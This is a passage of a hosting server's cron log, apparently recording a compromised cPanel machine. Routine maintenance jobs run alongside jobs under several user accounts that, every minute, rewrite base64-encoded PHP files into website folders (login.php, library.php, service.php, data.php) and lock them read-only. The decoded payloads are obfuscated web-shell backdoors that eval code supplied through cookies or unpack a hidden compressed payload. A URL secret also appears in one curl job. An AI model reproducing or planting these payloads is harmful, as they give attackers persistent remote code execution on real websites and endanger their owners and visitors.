chmod 444 "$fp")
Mar  1 18:33:02 medusa CROND[18138]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:34:01 medusa CROND[10026]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:34:01 medusa CROND[10092]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:34:01 medusa CROND[10091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:34:01 medusa CROND[10093]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:34:01 medusa CROND[10094]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:34:01 medusa CROND[10096]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:34:01 medusa CROND[10097]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:34:01 medusa CROND[10099]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:34:01 medusa CROND[10100]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:34:01 medusa CROND[10101]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:34:01 medusa CROND[10098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:34:01 medusa CROND[10110]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:34:01 medusa CROND[10111]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:35:01 medusa CROND[2066]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:35:01 medusa CROND[2230]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:35:01 medusa CROND[2231]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:35:01 medusa CROND[2232]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:35:01 medusa CROND[2233]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:35:01 medusa CROND[2234]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 18:35:01 medusa CROND[2238]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:35:01 medusa CROND[2240]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:35:01 medusa CROND[2239]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:35:01 medusa CROND[2246]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:35:01 medusa CROND[2245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:35:01 medusa CROND[2248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:35:01 medusa CROND[2250]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:35:01 medusa CROND[2247]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:35:01 medusa CROND[2255]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:35:01 medusa CROND[2254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:35:01 medusa CROND[2261]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 18:35:01 medusa CROND[2264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:35:01 medusa CROND[2260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:35:01 medusa CROND[2266]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:35:01 medusa CROND[2259]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:35:01 medusa CROND[2270]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:35:01 medusa CROND[2271]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 18:35:01 medusa CROND[2268]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:35:01 medusa CROND[2265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:36:01 medusa CROND[25849]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:36:01 medusa CROND[25988]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:36:01 medusa CROND[25989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:36:01 medusa CROND[25991]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:36:01 medusa CROND[25994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:36:01 medusa CROND[25995]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:36:01 medusa CROND[25990]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:36:01 medusa CROND[25999]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
